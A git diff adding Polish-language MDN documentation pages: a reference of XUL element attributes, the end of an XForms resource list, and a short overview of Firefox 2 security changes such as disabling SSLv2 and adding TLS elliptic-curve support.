+<h3 id="Wszystkie_inne_zasoby" name="Wszystkie_inne_zasoby"> Wszystkie inne zasoby </h3>
+<ul><li> <a class="external" href="http://www.mozilla.org/projects/xforms">Oficjalna strona Mozilli projektu XForms</a>
+</li><li> <a class="external" href="http://www.w3.org/MarkUp/Forms/Test">W3C Test Suite</a>
+</li><li> <a class="external" href="http://www.xformstest.org/">xformstest.org</a>
+</li></ul>
+{{ languages( { "en": "en/XForms/Other_Resources" } ) }}
diff --git a/files/pl/atrybuty_elementu_xul/index.html b/files/pl/atrybuty_elementu_xul/index.html
new file mode 100644
index 0000000000..09096fe8ec
--- /dev/null
+++ b/files/pl/atrybuty_elementu_xul/index.html
@@ -0,0 +1,509 @@
+---
+title: Atrybuty elementu XUL
+slug: Atrybuty_elementu_XUL
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/XUL_Reference/XUL_element_attributes
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span> Następujące atrybuty są zwykle stosowane do wszystkich elementów XUL:</div>
+<p></p><div id="a-align">
+
+
+<dl>
+ <dt><code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code></dt>
+ <dd>Typ:<em>jedna z wartości poniżej</em></dd>
+ <dd>Atrybut <code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code> określa jak elementy potomne pudełka są rozmieszczone kiedy rozmiar pudełka jest większy, niż wszystkie rozmiary razem dzieci elementu. Dla pudełek, które posiadają poziomą orientację, to określa jak jego dzieci będą rozmieszczone pionowo. Atrybut <code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code> jest podobny do rozmieszczenia, lecz jest stosowany do określenia pozycji w przeciwnych kierunkach. Możemy także określić wartość rozmieszczenia stosując własność stylu <a href="pl/CSS/-moz-box-align">-moz-box-align</a>.</dd>
+</dl>
+
+<ul>
+ <li><code>start</code>: Elementy potomne są rozmieszczone od początku lewego lub górnego brzegu pudełka. Jeśli pudełko jest większe, niż cały rozmiar dziecka, to dodatkowa przestrzeń jest umieszczona w prawej lub dolnej stronie.</li>
+ <li><code>center</code>: Extra space is split equally along each side of the child elements, resulting the children being placed in the center of the box.</li>
+ <li><code>end</code>: Child elements are placed on the right or bottom edge of the box. If the box is larger than the total size of the children, the extra space is placed on the left or top side.</li>
+ <li><code>baseline</code>: This value applies to horizontally oriented boxes only. It causes the child elements to be aligned so that their text labels are lined up.</li>
+ <li><code>stretch</code>: The child elements are stretched to fit the size of the box. For a horizontal box, the children are stretched to be the height of the box. For a vertical box, the children are stretched to be the width of the box. If the size of the box changes, the children stretch to fit. Use the <code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code> attribute to create elements that stretch in the opposite direction.</li>
+ <li><code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Elementy są rozmieszczone na ich lewych brzegach.</li>
+ <li><code>center</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Elementy są wyśrodkowane poziomo.</li>
+ <li><code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Elementy są rozmieszczone na ich prawych brzegach.</li>
+</ul>
+
+
+</div> <div id="a-allowevents">
+
+</div> <div id="a-allownegativeassertions">
+
+<dl><dt> <code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jakikolwiek poprawny element, który posiada atrybut źródła danych. Kiedy wiele źródeł danych jest użytych, jedno może przesłaniać twierdzenie drugiego. Ten atrybut, jeśli jest prawdą, która jest domyślnym ustawieniem, pozwala danym źródłowym na negację wcześniejszego twierdzenia.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div> <div id="a-class">
+
+<dl><dt> <code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Definiuje klasę stylu dla elementu. Wiele klas może być określanych przez oddzielenie ich spacją.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div> <div id="a-coalesceduplicatearcs">
+
+<dl><dt> <code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jakikolwiek poprawny element, który posiada atrybut źródła danych. Kiedy wiele źródeł danych jest użytych, jedno może przesłaniać twierdzenie drugiego. Ten atrybut, jeśli jest prawdą, która jest domyślnym ustawieniem, pozwala danym źródłowym na negację wcześniejszego twierdzenia.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div> <div id="a-collapsed">
+
+<dl>
+ <dt>
+ <code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Jeśli <code>true</code>, to element jest zawinięty i nie będzie wyświetlony. Jest równoważny do ustawienia widoczności własności CSS 'collapse'.</dd>
+</dl>
+</div> <div id="a-container">
+
+<dl>
+ <dt>
+ <code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ustaw na <code>true</code>, jeśli element spełnia funkcję jako kontener, który posiada elementy potomne. Będzie ustawiony jako potrzebny w kreatorze szablonów.</dd>
+</dl>
+</div> <div id="a-containment">
+
+<dl>
+ <dt>
+ <code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ URI predykatu RDF</i>
+ </dd>
+ <dd>
+ Ten atrybut określa własności RDF, które sygnalizują, że źródło jest kontenerem. Kiedy generujemy zawartość z szablonu to jest stosowany do określenia, które zasoby z bazy danych są kontenerami i w ten sposób posiada węzły potomne i które nie są kontenerami.</dd>
+</dl>
+<dl>
+ <dd>
+ Ten atrybut powinien zostać umieszczony w tym samym elemencie, w którym są źródła danych i atrybuty <b>ref</b>. Może być ustawiona jedna spacja przerwy w liście własności RDF lub źródeł.</dd>
+</dl>
+</div> <div id="a-context">
+
+</div> <div id="a-contextmenu">
+
+<dl><dt> <code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>
+</dt><dd> Typ: <i>id elementu popup</i>
+</dd><dd> Alternatywna nazwa dla atrybutu <code>context</code>, jednakże odpowiada również własności skryptu 'contextmenu'.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div> <div id="a-datasources">
+
+</div> <div id="a-dir">
+
+<dl><dt> <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Kierunek, w którym umieszczane są elementy potomne danego elementu. </dd></dl>
+<ul><li> <code>normal</code>: Elementy są umieszczane od lewej do prawej lub od góry do dołu, w kodzie XUL.
+</li><li> <code>reverse</code>: Elementy są umieszczane od prawej do lewej lub od dołu do góry. Jest to odwrotność porządku, w którym zostały one umieszczone w kodzie XUL.
+</li></ul>
+
+
+</div> <div id="a-empty">
+
+<dl><dt> <code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ustawia <code>true</code>, jeśli element jest kontenerem bez elementu potomnego. Zostanie ustawiony poprzez kreator szablonów jako potrzebny.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div> <div id="a-equalsize">
+
+<dl><dt> <code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Ten atrybut potrafi tworzyć dziecko elementu o takim samym rozmiarze. </dd></dl>
+<ul><li> <code>always</code>: Dla elementów zorientowanych poziomo, będzie tworzone dziecko ze wszystkich posiadanych szerokości potomka. Dla elementów zorientowanych pionowo będzie tworzone jego dziecko wszystkich posiadanych wysokości najwyższego potomka.
+</li><li> <code>never</code>: Wszystkie dzieci są wyświetlone w rozmiarze żądanym przez zawartość lub określone poprzez atrybut szerokości i wysokości lub poprzez własność szerokości i wysokości CSS.
+</li></ul>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div> <div id="a-flags">
+
+<dl><dt> <code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>
+</dt><dd> Typ: <i>lista wartości znajdujących się poniżej oddzielonych spacją</i>
+</dd><dd> Ustawia flagi użyte dla różnych celów. Dwie flagi są definiowane, które mogą być wartościami tego atrybutu. </dd></dl>
+<ul><li> <code>dont-test-empty</code>: Dla szablonu generowanej zawartości kompilator nie sprawdzi czy kontener jest pusty.
+</li><li> <code>dont-build-content</code>: Ta flaga może być użyta na drzewie by wskazać, że elementy zawartości nie powinny być generowane. Poprawia to wprawdzie wydajność, lecz uniemożliwia korzystanie z funkcji DOM to pobierania wierszy drzewa.
+</li></ul>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div> <div id="a-flex">
+
+
+<dl>
+ <dt><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></dt>
+ <dd>Typ: <em>string</em> (reprezentujący integer)</dd>
+ <dd> </dd>
+</dl>
+
+<dl>
+ <dd>Określa elastyczność elementu, co oznacza w jaki sposób kontener dystrybuuje dostępną przestrzeń pomiędzy swoimi potomkami. Elementy elastyczne powiększają się i zmniejszają wypełniając całą dostępną przestrzeń. Elementy posiadające wyższą wartość tego atrybutu powiększają się bardziej niż elementy z niższymi wartościami, proporcjonalnie do podanych wartości. Konkretna wartość nie jest brana pod uwagę jeśli nie ma więcej elementów elastycznych w danym kontenerze.  W chwili gdy domyślny rozmiar elementów w pudełku jest już obliczony, elementom przydzielana jest pozostała wolna przestrzeń w zależności od ich współczynnika elastyczności.</dd>
+</dl>
+</div> <div id="a-height">
+
+<dl><dt> <code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>
+</dt><dd> Typ: <i>string</i> (reprezentujący integer)
+</dd><dd> Wysokość elementu w pikselach. Zalecane jest stosowanie zamiast wysokości - własność wysokości CSS.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div> <div id="a-hidden">
+
+<dl><dt> <code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli jest ustawiony na <code>true</code>, element jest nie wyświetlane. Jest to podobne do ustawienia wyświetlania własności CSS na <code>none</code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div> <div id="a-id">
+
+<dl><dt> <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>
+</dt><dd> Typ: <i>id elementu, musi być unikatowym identyfikatorem w oknie</i>
+</dd><dd> Unikatowy identyfikator, który będzie identyfikował się z elementem. Możemy go zastosować jako parametr do <code><a href="pl/DOM/document.getElementById">getElementById()</a></code> i innych funkcji DOM oraz jako odniesienie do elementu w arkuszach stylu. </dd></dl>
+
+
+</div> <div id="a-insertafter">
+
+<dl><dt> <code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Kiedy element jest w <code><a href="/pl/docs/Mozilla/Tech/XUL/overlay" title="overlay">overlay</a></code>, to atrybut <code>insertafter</code> określa <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> elementu w bazowym oknie, który element powinien zostać później wyświetlony. Ten atrybut przesłania atrybut <code><code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code></code>. Ta wartość może być listą składającą się z poszczególnych id oddzielonych przecinkiem, które są skanowane i pierwszy znaleziony w oknie jest użyty.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div> <div id="a-insertbefore">
+
+<dl><dt> <code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Kiedy element jest w <code><a href="/pl/docs/Mozilla/Tech/XUL/overlay" title="overlay">overlay</a></code>, to atrybut <code>insertbefore</code> określa <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> elementu w bazowym oknie, który element powinien zostać wyświetlony wcześniej. Ta wartość może być listą składającą się z poszczególnych id oddzielonych przecinkiem, które są skanowane i pierwszy znaleziony w oknie jest użyty.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div> <div id="a-left">
+
+<dl><dt> <code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>
+</dt><dd> Typ: <i>string</i> (reprezentujący integer)
+</dd><dd> Dla elementów umieszczonych wewnątrz stosu (<code><a href="/pl/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code>), określa pozycje elementu od lewego brzegu.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div> <div id="a-maxheight">
+
+<dl><dt> <code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>
+</dt><dd> Typ: <i>string</i> (reprezentujący integer)
+</dd><dd> Maksymalna wysokość elementu. Przesyła własność CSS max-height.
+</dd></dl>
+
+</div> <div id="a-maxwidth">
+
+<dl><dt> <code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>
+</dt><dd> Typ: <i>string</i> (reprezentujący integer)
+</dd><dd> Maksymalna szerokość elementu. Przesyła własność CSS <code>max-width</code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div> <div id="a-menu">
+
+<dl>
+ <dt>
+ <code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu popup</i>
+ </dd>
+ <dd>
+ Alternatywna nazwa dla atrybutu <code><code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code></code>, lecz także przesyła do skryptu własność 'menu'.</dd>
+</dl>
+</div> <div id="a-minheight">
+
+<dl><dt> <code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>
+</dt><dd> Typ: <i>string</i> (reprezentujący integer)
+</dd><dd> Minimalna wysokość elementu. Przesyła własność CSS min-height.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div> <div id="a-minwidth">
+
+<dl>
+ <dt>
+ <code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ (reprezentujący integer)</dd>
+ <dd>
+ Minimalna szerokość elementu. Jest przesyłana do własności CSS min-width.</dd>
+</dl>
+</div> <div id="a-mousethrough">
+
+</div> <div id="a-observes">
+
+<dl>
+ <dt>
+ <code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu broadcaster</i>
+ </dd>
+ <dd>
+ Ustawia id elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/broadcaster" title="broadcaster">broadcaster</a></code>, który jest obserwowany poprzez ten element. Jeśli atrybut zostanie zmieniony w rozgłaszaczu, to będzie on także zmieniony w obserwatorze.</dd>
+</dl>
+</div> <div id="a-ordinal">
+
+</div> <div id="a-orient">
+
+<dl><dt> <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Wykorzystywany do określenia, czy elementy potomne danego elementu zorientowane są poziomo czy pionowo. Domyślna wartość zależy od danego elementu. Można także skorzystać z własności stylu <code><a href="pl/CSS/-moz-box-orient">-moz-box-orient</a></code>.
+</dd></dl>
+<ul><li> <code>horizontal</code>: Elementy potomne elementu są umieszczane jeden obok drugiego w kolejności zgodnej z kolejnością w kodzie źródłowym XUL.
+</li><li> <code>vertical</code>: Elementy potomne elementu są umieszczane jeden pod drugim w kolejności zgodnej z kolejnością w kodzie źródłowym XUL.
+</li></ul>
+
+
+</div> <div id="a-pack">
+
+
+<dl>
+ <dt><code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code></dt>
+ <dd>Typ:<em>jedna z wartości poniżej</em></dd>
+ <dd>Atrybut pack określa gdzie elementy potomne <code><code><a href="/pl/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code> są umieszczone, kiedy pudełko jest większe niż rozmiar dziecka. Dla pudełek z orientacją poziomą jest użyty to sygnalizowania pozycji dziecka poziomo. Dla pudełek z orientacją pionową jest stosowany dla pozycji poziomej dziecka. Atrybut align jest stosowany do określenia pozycji w przeciwnych kierunkach. Możemy także określić wartość pack stosując własność stylu <a href="pl/CSS/-moz-box-pack">-moz-box-pack</a>.</dd>
+</dl>
+
+<ul>
+ <li><code>start</code>: Child elements are placed starting from the left or top edge of the box. If the box is larger than the total size of the children, the extra space is placed on the right or bottom side.</li>
+ <li><code>center</code>: Extra space is split equally along each side of the child elements, resulting the children being placed in the center of the box.</li>
+ <li><code>end</code>: Child elements are placed on the right or bottom edge of the box. If the box is larger than the total size of the children, the extra space is placed on the left or top side.</li>
+</ul>
+
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+
+<p>Więcej informacji znajduje się w <a href="pl/Kurs_XUL/Pozycjonowanie_element%c3%b3w#Pola_upakowane">kursie XUL</a></p>
+</div> <div id="a-persist">
+
+</div> <div id="a-popup">
+
+<dl>
+ <dt>
+ <code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu popup</i>
+ </dd>
+ <dd>
+ Powinien być ustawiony na wartość <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code></code>, który powinien się wyświetlić, gdy użytkownik kliknie w ten element.</dd>
+</dl>
+
+<p> </p>
+</div> <div id="a-position">
+
+</div> <div id="a-preference-editable">
+
+</div> <div id="a-querytype">
+
+</div> <div id="a-ref">
+
+
+<dl>
+ <dt><code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code></dt>
+ <dd>Typ:<em>URI źródła RDF</em></dd>
+ <dd>Dla szablonowo generowanych elementów, ten atrybut jest stosowany do określenia korzenia (węzła głównego) RDF, gdzie rozpoczyna się generowanie zawartości. Będzie ona przesyłana do wartości.<strong> This will correspond to the value of an about attribute on an RDF container. This attribute should be placed alongside the datasources attribute.</strong></dd>
+</dl>
+</div> <div id="a-removeelement">
+
+<dl>
+ <dt>
+ <code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu</i>
+ </dd>
+ <dd>
+ Kiedy umieszczony na elemencie w nakładce <code><a href="/pl/docs/Mozilla/Tech/XUL/overlay" title="overlay">overlay</a></code>, to sygnalizuje, który element w bazowym pliku powinien być usunięty z okna.</dd>
+</dl>
+</div> <div id="a-sortDirection">
+
+<dl>
+ <dt>
+ <code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ Ustaw ten atrybut na ustawienie kierunku, w którym zawartość szablonów została wygenerowana i posortowana. Zastosuj atrybut <code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>, aby określić klucz sortowania.</dd>
+</dl>
+<ul>
+ <li><code>ascending</code>: Dane są sortowane w kolejności rosnącej.</li>
+ <li><code>descending</code>: Dane są sortowane w kolejności malejącej.</li>
+ <li><code>natural</code>: Dane są sortowane w zwyczajny sposób, co oznacza porządek w tych, co zostały w magazynie.</li>
+</ul>
+</div> <div id="a-sortResource">
+
+<dl>
+ <dt>
+ <code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ adres URI predykatu RDF</i>
+ </dd>
+ <dd>
+ Dla szablonu generowanej treści, określa słowo kluczowe sortowania, jeśli będziemy chcieli, aby treść była sortowana. Słowo kluczowe powinno być pełnym adresem URI źródła sortowania, na przykład '<code><span class="nowiki">http://home.netscape.com/NC-rdf#Name</span></code>'. Umieść ten atrybut na tym samym elemencie jako atrybut <code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>. Zastosuj <code><code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code></code> do określenia drugiego słowa kluczowego sortowania.</dd>
+</dl>
+</div> <div id="a-sortResource2">
+
+<dl><dt> <code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>
+</dt><dd> Typ: <i>adres URI predykatu RDF</i>
+</dd><dd> Drugie słowo kluczowe dla sortowanej treści.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div> <div id="a-statustext">
+
+<dl><dt> <code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Stosujemy do ustawienia tekstu, który zostanie wyświetlony na pasku stanu, kiedy użytkownik przesuwa mysz nad elementem. Przeglądarka Mozilli nie reguluje paska stanu automatycznie. Ten atrybut służy tylko jako miejsce do przechowywania tekstu. W Firefoksie, ten tekst jest umieszczany automatycznie w <code><code><a href="/pl/docs/Mozilla/Tech/XUL/statusbar" title="statusbar">statusbar</a></code></code> dla pozycji menu (menuitems) na pasku menu.
+</dd></dl>
+
+
+</div> <div id="a-style">
+
+<dl>
+ <dt>
+ <code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ styl CSS inline</i>
+ </dd>
+ <dd>
+ Reguły stylu CSS stosowany do elementu. Składnia jest jako atrybut stylu HTML. Jest preferowany do umieszczenia reguł stylu w arkuszu stylów.</dd>
+</dl>
+</div> <div id="a-template">
+
+</div> <div id="a-tooltip">
+
+<dl>
+ <dt>
+ <code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu tooltip</i>
+ </dd>
+ <dd>
+ Powinien być ustawiony na wartość <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code>, który powinien być zastosowany jako okienko porady, kiedy kursor myszki jest w danym momencie nad elementem. Porada automatycznie znika, kiedy kursor zostaje przesunięty z nad elementu. Jeśli ten atrybut jest ustawiony na '_child', to pierwsza porada elementu potomnego zostanie użyta wewnątrz elementu.</dd>
+</dl>
+</div> <div id="a-tooltiptext">
+
+</div> <div id="a-top">
+
+<dl>
+ <dt>
+ <code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ (reprezentujący integer)</dd>
+ <dd>
+ Dla elementów umieszczonych wewnątrz stosu (<code><a href="/pl/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code>), określa pozycję elementu od górnego brzegu.</dd>
+</dl>
+</div> <div id="a-uri">
+
+</div> <div id="a-wait-cursor">
+
+<dl>
+ <dt>
+ <code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ustaw ten atrybut na wartość <code>true</code>, aby zmienić kursor na zajęty, kiedy znajdzie się on nad danym elementem. Zwykle ustawia się ten atrybut w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code> lub innym elemencie najwyższego poziomu.</dd>
+</dl>
+</div> <div id="a-width">
+
+<dl>
+ <dt>
+ <code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ (reprezentujący integer)</dd>
+ <dd>
+ Szerokość elementu w pikselach. Zwykle jednak powinno stosować się własność width w arkuszu stylów.</dd>
+</dl>
+</div><p></p>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/pl/bezpieczeństwo_w_firefoksie_2/index.html b/files/pl/bezpieczeństwo_w_firefoksie_2/index.html
new file mode 100644
index 0000000000..342dba864a
--- /dev/null
+++ b/files/pl/bezpieczeństwo_w_firefoksie_2/index.html
@@ -0,0 +1,36 @@
+---
+title: Bezpieczeństwo w Firefoksie 2
+slug: Bezpieczeństwo_w_Firefoksie_2
+tags:
+ - Bezpieczeństwo
+translation_of: Mozilla/Firefox/Releases/2/Security_changes
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p> </p>
+
+<p>Ten artykuł omawia zmiany dotyczące bezpieczeństwa w Firefoksie 2.</p>
+
+<h2 id="Słabe_algorytmy_szyfrowania_domyślnie_wyłączone">Słabe algorytmy szyfrowania domyślnie wyłączone</h2>
+
+<p>W <a href="pl/Firefox_2">Firefoksie 2</a> SSLv2 i słabe zestawy szyfrów (takie, których długość klucza jest mniejsza niż 64 bitów) są domyślnie wyłączone, na korzyść SSLv3. Podnosi to poziom bezpieczeństwa przeglądarki.</p>
+
+<p>Zalecanymi metodami szyfrowania są <code>TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA</code> i <code>TLS_RSA_WITH_3DES_EDE_CBC_SHA</code>. Cześć serwerów odwołuje się do nich jako <code>SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA</code> i <code>SSL_RSA_WITH_3DES_EDE_CBC_SHA</code>.</p>
+
+<p>Jeżeli obsługa SSLv2 musi zostać włączona, można to uzyskać za pomocą ustawienia odpowiednich opcji użytkownika (<code>security.ssl2.*</code>) na <code>true</code>.</p>
+
+<h2 id="Nowe_cechy">Nowe cechy</h2>
+
+<ul>
+ <li>Firefox 2 obsługuje <a class="external" href="http://pl.wikipedia.org/wiki/ECC">Kryptografię krzywych eliptycznych</a> w TLS. Wsparcie jest obecnie ograniczone jedynie do krzywych długości 256, 384, i 521 (tak, to nie jest pomyłka, 521) bitów.</li>
+ <li>Firefox 2 obsługuje rozszerzenie serwera TLS wskazujące nazwy dla ułatwienia bezpiecznych połączeń z serwerami hostującymi wiele wirtualnych serwerów na jednym adresie sieciowym, jak w <a class="external" href="http://tools.ietf.org/html/rfc3546" title="http://tools.ietf.org/html/rfc3546">RFC 3546</a>.</li>
+ <li>Kiedy Firefox 2 wysyła żądanie <a class="external" href="http://en.wikipedia.org/wiki/Ocsp">OCSP</a> aby sprawdzić certyfikat serwera, używa teraz proxy, które zostało skonfigurowane dla normalnego ruchu HTTP.</li>
+</ul>
+
+<h2 id="Sprawdzanie_które_algorytmy_szyfrowania_są_dostępne">Sprawdzanie, które algorytmy szyfrowania są dostępne</h2>
+
+<p>Jak zwykle, możesz dowiedzieć się, które algorytmy szyfrowania są dostępne -- i które zostały włączone lub wyłączone -- otwierając about:config i filtrując ciąg "ssl" lub "tls".</p>
+
+<div class="noinclude"> </div>
+
